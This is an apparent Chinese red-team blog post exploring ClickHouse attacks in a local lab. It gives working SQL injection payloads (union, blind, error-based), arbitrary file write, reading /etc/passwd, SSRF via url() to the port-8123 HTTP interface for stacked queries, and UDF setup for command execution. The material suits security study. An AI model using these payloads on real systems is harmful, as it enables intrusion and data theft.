ClickHouse数据库安全问题初探

2024-09-12 22:20   河南  

1.环境搭建

最近本来在研究ASP.NET安全问题,今天突然看到群友在研究ClickHouse数据库,最近几天也经常看到一些实战中关于ClickHouse数据库相关的案例。发现挺好玩的。于是本地搭了个环境测试一下。安装ClickHouse可以使用如下命令:

sudo apt-get install -y apt-transport-https ca-certificates dirmngrsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754
echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee /etc/apt/sources.list.d/clickhouse.list  sudo apt-get update
sudo apt-get install -y clickhouse-server clickhouse-client
sudo service clickhouse-server startclickhouse-client # or "clickhouse-client --password" if you've set up a password

在安装过程中,可以看到第一个和安全有关的点,那就是ClickHouse密码保存的文件:

可以用CMD5查:

如果上述环境配置好了,那么连接ClickHouse可以看到一个笑脸

2.一些基本的信息以及SQL注入查询信息的查询链

介绍一些获取数据库基本信息的语句。

currentDatabase()  //获取当前的数据库名

SELECT name FROM system.databases;  //获取所有库名

SELECT name FROM system.tables;  //获取所有表名

SELECT name FROM system.tables where database=’database_name’;  

//通过约束database名查询指定库中的所有表名

这里可以看到我在default库下自建的test

SELECT name, type FROM system.columns WHERE table = 'table_name' AND database = 'database_name';  //约束表名和库名,查询指定表中所有字段类型

可以查询到表中的字段名和字段的类型。

SELECT user();  //查看当前用户

大概的流程就是这样。此外,ClickHouse中也提供了information_schema表,熟悉Mysql的童鞋马上能熟练用这玩意查询各种信息

SELECT table_name FROM information_schema.tables WHERE table_schema = 'default';

SELECT column_name FROM information_schema.columns WHERE table_schema = 'default' AND table_name = 'test';

总结一下这玩意的查询链,简单来说,可以直接套用mysql那边的一些关键的系统表和字段名去查询各种数据。也可以借助其system表。system.databases中保存了所有库的详细信息,system.tables中保存了所有表的详细信息,system.columns中保存了所有字段的详细信息。

3.关于ClickHouse SQL注入的判断

此外,还有几种报错样式如下:

这就引出ClickHouse里面一个常见的注入判断情况。也即注入点发生于order by后的时候,可以尝试输入下面两组测试数据

?order=desc,1
?order=desc,x

如果前者返回正常而后者返回不正常,则可能存在注入点。也可以不用desc, 直接传入1x,观察两种情况下结果的差异。

此外这里有一个必须说明的坑点,在ClickHouse中,当触发数据库报错时,部分报错信息会被放在(‘’)中回显出来,尤其是当单引号未闭合时。在上面的演示中,就可以注意到这种情况:

这在实际的测试中,很容易被我们误判为原语句中存在(‘’)字符需要我们去闭合,最后操作半天发现怎么都闭合不了。因为原语句实际上就不存在(‘’),在我靶场实战的时候就被这个点坑麻了,师傅们实战中可以注意一下。

4.ClickHouse联合注入

ClickHouse的联合注入反倒不类似mysql,更像SQL Serveroracle。首先一点就在于,UNION连接的两个表,其字段数和每个字段的类型都必须一一对应。比方说我的test表,第一个id字段的类型是int型,其他都是string型,一共五个字段,那么必须得写成:

UNION ALL SELECT 1,'2','3','4','5'

如果字段类型没有一一对应,则报错类似如下:

如果少了ALL,也会出错:

总之,我们可以通过联合查询实现注入:

UNION ALL SELECT 1,(SELECT user()),'3','4','5'

5.ClickHouse布尔盲注

要实现丝滑的布尔盲注,无外乎三个要点。第一个就是数据库支持类似if这样的语法,第二个如果有mid()left()等字符串截取函数就更好,第三个是原语句必须有能形成布尔判断的因素。

恰好ClickHouse里都有这些因素,ClickHouse中有if()函数,其用法为:

SELECT if(cond, then, else)

如果条件 cond 的计算结果为非零值,则返回表达式 then 的结果,并且跳过表达式 else 的结果(如果存在)。如果 cond 为零或 NULL,则将跳过 then 表达式的结果,并返回 else 表达式的结果(如果存在)

select * from test where id=1 order by hex(if(mid((select user()),1,1)='d','a','z'))=61

此时正常

select * from test where id=1 order by hex(if(mid((select user()),1,1)='c','a','z'))=61

此时异常。

此外,由于ClickHouse支持三目运算符,而三目运算又能起到if else的效果,因此还可以利用三目运算去实现攻击。比方说(1=1?1:1)效果和if(1,1,1)类似

此外根据引用文章中提到的特性,Clickhouse中,toInt64(if(1=1,1,exp(71000)))时为truetoInt64(if(1=2,1,exp(71000)))时为false,因此我们可以用toInt64(if(1=1,1,exp(71000)))去进行快速的sql注入证明

此外,其他数据库广泛支持的select case when(expr1) then result1 else result2 end语句,在ClickHouse里也仍然支持。

因此,在ClickHouse中还是有多种方法去进行布尔盲注的,很多函数也基本上都是mysql里有的,依葫芦画瓢即可。

6.ClickHouse时间盲注

布尔盲注加上一点点延时因素,就能构成时间盲注。恰好clickhouse也支持sleep()函数:

此外尤其要注意一个坑点,那就是ClickHousesleep时间不能超过3秒,否则报错:

还有一个可供替换的函数是sleepEachRow()

还有一种有趣的延时因素如下:

if(1=2,1,(SELECT COUNT(fuzzBits('1', 0.001)) FROM numbers(10000000)))

可以造成约8秒的时延,看原理也是去处理超大的测试数据造成延迟

当然经过文档查阅,ClickHouse也是有笛卡尔积的操作的,理论上也可以构造基于笛卡尔积的时间盲注

不过,由于ClickHouse是主打大数据处理的数据库,我不确定到底要多大的数据量才能让ClcikHouse产生显著的延迟,由于手里没那么多测试数据,这里也不去测试了。可以参考上面那个fuzzBits相关技巧的数据量。

7.ClickHouse报错注入

一聊到注入,报错注入总是绕不开的一环。ClickHouse中可以通过CAST()去造成报错,很多数据库都有类似的问题,用CAST进行类型转换为string,然后用这个string结果与数字进行比较,就可以将string的结果在报错信息中输出:

select * from test where id=1 order by 1=(char(126)||char(126)||CAST((SELECT name from system.databases limit 1 OFFSET 1) AS String)||char(126)||char(126))

基于此原理,我又找到一些报错函数,比如toString()

类似地还有toJSONString函数、concat函数等等。就不再截图了

8.ClickHouse堆叠注入

网上查了一些资料,说ClickHouse JDBC驱动提供的默认查询方法是支持堆叠查询的,我简陋的测试linux还没有配置JAVA环境,这里就不演示了。还是利用分号分割语句去进行堆叠注入。

不过,其实后文我们会介绍一个姿势,利用SSRF请求ClickHouse相关的一个WEB端点,去实现堆叠注入的效果。

9.ClickHouse深入利用之写文件

也是来到了数据库深入利用相关的环节,ClickHouseMysql一样,可以使用INTO OUTFILE将查询结果写入到指定文件中:

select 'test' INTO OUTFILE '../../../../../testaaa.txt'

经过测试,在默认配置下,该功能是可以往任意目录下写文件的,比mysql舒服的多。

10.ClickHouse深入利用之读文件

同样地,ClickHouse也有读文件的操作,有几种操作。第一种是使用file函数,但是似乎不能跨目录,只能读配置文件相关目录的文件

此外,还有一种操作是通过INFILE进行读取,方法如下。先创建一个用于存放数据的表:

CREATE TABLE images(data String) Engine = Memory;

然后运行:

INSERT INTO images FROM INFILE '../../../../../../../../etc/passwd' FORMAT RawBLOB;

//passwd文件中读取数据并写入images

然后读取images表,即可获取文件数据:

select * from images

11.使用ClickHouses3url函数造成SSRF以及把任意注入点转化为堆叠注入点

一个可回显的SSRF

select * from url(‘https://www.baidu.com', CSV, 'column1 String, column2 UInt32’)

可以看到用CSV模式读的东西还是有缺陷

如果使用TSVTabSeparated,则可以得到全回显

select * from url('https://www.baidu.com', TSV, 'column1 String')select * from url('https://www.baidu.com', TabSeparated, 'column1 String')

这个url是最通用的造成SSRF的函数,此外还有一个s3函数,也是可以造成SSRF,不过我实测这个可能只能访问一些s3url

s3('https://www.baidu.com',RawBLOB)
SELECT * FROM s3('https://datasets-documentation.s3.eu-west-3.amazonaws.com/aapl_stock.csv','CSVWithNames’) LIMIT 5;

访问百度报错了

这种场景可能只能在亚马逊云场景下派上用场。参考文章里还放上了几个绕过payload

SELECT * from `url\\\\\\\\x23`(‘https://www.baidu.com',TSV,'column1 String’)(select/*//**/1,*,1/**/from/*//**/url('https://www.baidu.com',CSV,'column1 String') ) as a

总之,在云场景下的实战环境中,可以用这个姿势去读取元数据。

接着重点来了。关于这个SSRF,还有个很好玩的点。假设我们找到了一个ClickHouse的非堆叠注入,实际上可以通过这个点去获取一个相当于堆叠注入的点。借助参考文章提到的信息。先通过查询system.clusters表获取数据库集群的ip信息,而clickouse默认会使用一个组件导致会开启8123或者8124端口,而这一组件实际上相当于数据库命令行(开放在web服务上的),当我们有一个GETSSRF点,就可以在其8123端口上以类似命令行的模式执行任何SQL语句。这就可以实现堆叠的效果!非常舒服

此外参考文章里有个小错误,那就是

guery实际上应该是query

如果目标使用的clickHouse没有设置密码,那么使用如下语句就可以直接执行想要的语句了:

SELECT * from url('http://127.0.0.1:8123?query=show%20tables',TSV,'column1 String')

//注意url编码

但如果目标设置了密码,则会出现如下错误:

现在假设我们还有一个任意文件读取漏洞配合,知道了密码的情况下,又该怎么利用呢?答案是使用如下语句:

SELECT * FROM url('http://default:my_password@127.0.0.1:8123/?query=show%20tables', TSV, 'column1 String')

例如:

SELECT * FROM url('http://default:Testme123@127.0.0.1:8123/?query=show%20tables', TSV, 'column1 String')

//默认用户就是default

此时,成功执行show tables

这个操作的价值很大,假设我们现在有一个联合注入,我们要如何将其转化为一个高权限的堆叠注入呢?

SELECT * FROM test where id=1 order by 1 UNION ALL SELECT 1,(SELECT * FROM url('http://default:Testme123@127.0.0.1:8123/?query=show%20tables', TSV, 'column1 String')),'3','4','5'

简单易懂,这样,我们就可以把任意一个注入点,转化为实际上的高权限堆叠注入点,可以执行任意ClickHouse语句。当然,前提是这个ClickHouse没有密码,或者你通过某种方式拿到了它的密码。

在上述情况下就可以执行很多BT操作了,比方说我们前面提到的写SHELL

12.ClickHouse UDF提权

没错,这玩意也支持从外部导入自定义函数,不过,它的这个操作实际上比Mysql还要容易,我们参考ClickHouse的文档:

https://clickhouse.com/docs/en/sql-reference/functions/udf

而且它不止可以调用python脚本,实际上,其<command>标签内可以进行系统命令拼接,似乎可以直接执行系统命令:

不过我实测尝试命令拼接的时候好像出了点问题,就先不献丑了。

那么我们要怎么搞呢?简单来说,我们需要创建一个 *_function.xml文件,并且放在/clickhouse-server/目录下。这个xml文件里完成我们要自定义函数的一些配置,然后我们要把想执行的python脚本放在/var/lib/clickhouse/user_scripts/目录下,然后我们需要在ClickHouse命令行中重新加载function,然后就可以调用我们自定义的命令。

以官网demo为例。准备test_function.xml文件如下:

<functions>    <function>        <type>executable</type>        <name>test_function_python</name>        <return_type>String</return_type>        <argument>            <type>UInt64</type>            <name>value</name>        </argument>        <format>TabSeparated</format>        <command>test_function.py</command>    </function></functions>

其中test_function_python代表最后导入的函数名,argument中的键值对的含义是传入python脚本中的参数名,command标签则是要执行的python脚本。

我们将该配置文件上传至/etc/clickhouse-server/test_function.xml

然后准备python脚本如下:

#!/usr/bin/python3
import sys
if __name__ == '__main__': for line in sys.stdin: print("Value " + line, end='') sys.stdout.flush()

命名为test_function.py,上传至/var/lib/clickhouse/user_scripts/目录下

都完成之后,执行

SYSTEM RELOAD FUNCTIONS;  //重新加载方法

执行如下语句查询test_function_python函数是否导入成功:

SELECT * FROM system.functions WHERE name = 'test_function_python';

若类似下图的结果,则说明成功

然后调用该函数,即可看到这样的结果:

要改成执行系统命令的脚本应该也ez,调一下subprocess.run()应该就行了,这里就不写了。

13.ClickHouse JDBC相关安全问题

既然是数据库,那肯定也要看看有没有JDBC相关的问题,本来想自己捣鼓一下的,但是查了一波发现早就有人挖过了,那我就直接开摆了,相关文章的链接如下:

https://xz.aliyun.com/t/14443

14.结语

关于ClickHouse数据库的注入,还是非常有意思的,它有点像我们的老朋友mysql,但又不完全一样,有很多自己独特的打法。随着大数据应用越来越广泛,在实战中遇见这款数据库的可能性也会越来越大,值得一学。

部分参考:

https://mp.weixin.qq.com/s/XL7LoAH7YFxCC2hS3U96sQ
https://xz.aliyun.com/t/14443

HW专项行动小组
大师!教我打攻防
 最新文章